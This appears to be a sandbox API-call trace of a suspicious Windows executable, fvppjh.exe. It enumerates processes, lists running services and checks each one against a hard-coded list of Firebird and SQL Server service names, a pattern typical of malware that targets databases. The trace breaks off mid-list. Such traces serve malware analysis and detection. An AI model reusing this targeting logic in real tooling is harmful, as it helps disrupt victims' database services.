	[0154.227] lstrlenW (lpString="explorer.exe") returned 12
	[0154.227] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0154.228] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0154.228] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0154.228] lstrlenW (lpString="SearchUI.exe") returned 12
	[0154.228] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0154.229] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0154.229] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0154.229] lstrlenW (lpString="mobsync.exe") returned 11
	[0154.229] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0154.230] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0154.230] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.230] lstrlenW (lpString="svchost.exe") returned 11
	[0154.230] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0154.231] lstrlenW (lpString="fvppjh.exe") returned 10
	[0154.231] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0154.231] lstrlenW (lpString="cmd.exe") returned 7
	[0154.231] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0154.232] lstrlenW (lpString="conhost.exe") returned 11
	[0154.232] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0154.232] CloseHandle (hObject=0x3f8) returned 1
	[0154.232] Sleep (dwMilliseconds=0x1f4) 
	[0154.873] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0638
	[0154.874] EnumServicesStatusExW (in: hSCManager=0x41c0638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0154.875] GetLastError () returned 0xea
	[0154.875] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bee) returned 0x41a9008
	[0154.875] EnumServicesStatusExW (in: hSCManager=0x41c0638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41a9008, cbBufSize=0x1bee, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41a9008, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0154.876] CloseServiceHandle (hSCObject=0x41c0638) returned 1
	[0154.876] lstrlenW (lpString="AppXSvc") returned 7
	[0154.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0154.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0154.876] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0154.876] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0154.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0154.876] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0154.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0154.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0154.876] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0154.876] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0154.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0154.876] lstrlenW (lpString="Audiosrv") returned 8
	[0154.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0154.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0154.876] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0154.876] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0154.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0154.877] lstrlenW (lpString="BFE") returned 3
	[0154.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0154.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0154.877] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0154.877] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0154.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0154.877] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0154.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0154.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0154.877] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0154.877] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0154.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0154.877] lstrlenW (lpString="CDPSvc") returned 6
	[0154.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0154.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0154.877] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0154.877] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0154.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0154.877] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0154.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0154.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0154.877] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0154.877] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0154.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0154.877] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0154.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0154.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0154.877] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0154.877] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0154.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0154.877] lstrlenW (lpString="CryptSvc") returned 8
	[0154.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0154.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0154.877] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0154.877] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0154.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0154.877] lstrlenW (lpString="DcomLaunch") returned 10
	[0154.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0154.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0154.878] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0154.878] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0154.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0154.878] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0154.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0154.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0154.878] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0154.878] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0154.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0154.878] lstrlenW (lpString="Dhcp") returned 4
	[0154.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0154.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0154.878] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0154.878] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0154.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0154.878] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0154.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0154.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0154.878] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0154.878] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0154.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0154.878] lstrlenW (lpString="Dnscache") returned 8
	[0154.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0154.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0154.878] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0154.878] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0154.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0154.878] lstrlenW (lpString="DPS") returned 3
	[0154.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0154.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0154.878] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0154.878] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0154.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0154.879] lstrlenW (lpString="DusmSvc") returned 7
	[0154.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0154.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0154.879] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0154.879] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0154.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0154.879] lstrlenW (lpString="EventLog") returned 8
	[0154.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0154.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0154.879] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0154.879] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0154.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0154.879] lstrlenW (lpString="EventSystem") returned 11
	[0154.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0154.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0154.879] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0154.879] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0154.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0154.879] lstrlenW (lpString="FontCache") returned 9
	[0154.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0154.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0154.879] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0154.879] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0154.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0154.879] lstrlenW (lpString="gpsvc") returned 5
	[0154.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0154.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0154.879] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0154.879] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0154.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0154.879] lstrlenW (lpString="iphlpsvc") returned 8
	[0154.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0154.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0154.879] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0154.879] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0154.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0154.880] lstrlenW (lpString="KeyIso") returned 6
	[0154.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0154.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0154.880] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0154.880] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0154.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0154.880] lstrlenW (lpString="LanmanServer") returned 12
	[0154.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0154.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0154.880] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0154.880] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0154.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0154.880] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0154.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0154.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0154.880] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0154.880] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0154.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0154.880] lstrlenW (lpString="lfsvc") returned 5
	[0154.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0154.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0154.880] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0154.880] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0154.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0154.880] lstrlenW (lpString="lmhosts") returned 7
	[0154.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0154.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0154.880] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0154.880] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0154.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0154.880] lstrlenW (lpString="LSM") returned 3
	[0154.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0154.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0154.880] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0154.880] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0154.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0154.881] lstrlenW (lpString="MpsSvc") returned 6
	[0154.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0154.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0154.881] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0154.881] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0154.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0154.881] lstrlenW (lpString="NcbService") returned 10
	[0154.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0154.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0154.881] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0154.881] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0154.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0154.881] lstrlenW (lpString="netprofm") returned 8
	[0154.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0154.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0154.881] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0154.881] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0154.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0154.881] lstrlenW (lpString="NgcSvc") returned 6
	[0154.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0154.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0154.881] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0154.881] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0154.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0154.881] lstrlenW (lpString="NlaSvc") returned 6
	[0154.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0154.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0154.881] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0154.881] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0154.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0154.881] lstrlenW (lpString="nsi") returned 3
	[0154.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0154.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0154.881] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0154.881] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0154.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0154.881] lstrlenW (lpString="PcaSvc") returned 6
	[0154.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0154.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0154.882] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0154.882] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0154.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0154.882] lstrlenW (lpString="PlugPlay") returned 8
	[0154.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0154.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0154.882] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0154.882] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0154.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0154.882] lstrlenW (lpString="Power") returned 5
	[0154.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0154.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0154.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0154.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0154.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0154.882] lstrlenW (lpString="ProfSvc") returned 7
	[0154.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0154.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0154.882] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0154.882] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0154.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0154.882] lstrlenW (lpString="RpcEptMapper") returned 12
	[0154.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0154.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0154.882] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0154.882] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0154.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0154.882] lstrlenW (lpString="RpcSs") returned 5
	[0154.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0154.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0154.882] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0154.882] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0154.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0154.882] lstrlenW (lpString="SamSs") returned 5
	[0154.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0154.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0154.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0154.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0154.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0154.883] lstrlenW (lpString="Schedule") returned 8
	[0154.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0154.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0154.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0154.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0154.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0154.883] lstrlenW (lpString="SecurityHealthService") returned 21
	[0154.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0154.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0154.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0154.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0154.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0154.883] lstrlenW (lpString="SENS") returned 4
	[0154.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0154.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0154.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0154.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0154.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0154.883] lstrlenW (lpString="ShellHWDetection") returned 16
	[0154.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0154.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0154.883] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0154.883] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0154.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0154.883] lstrlenW (lpString="Spooler") returned 7
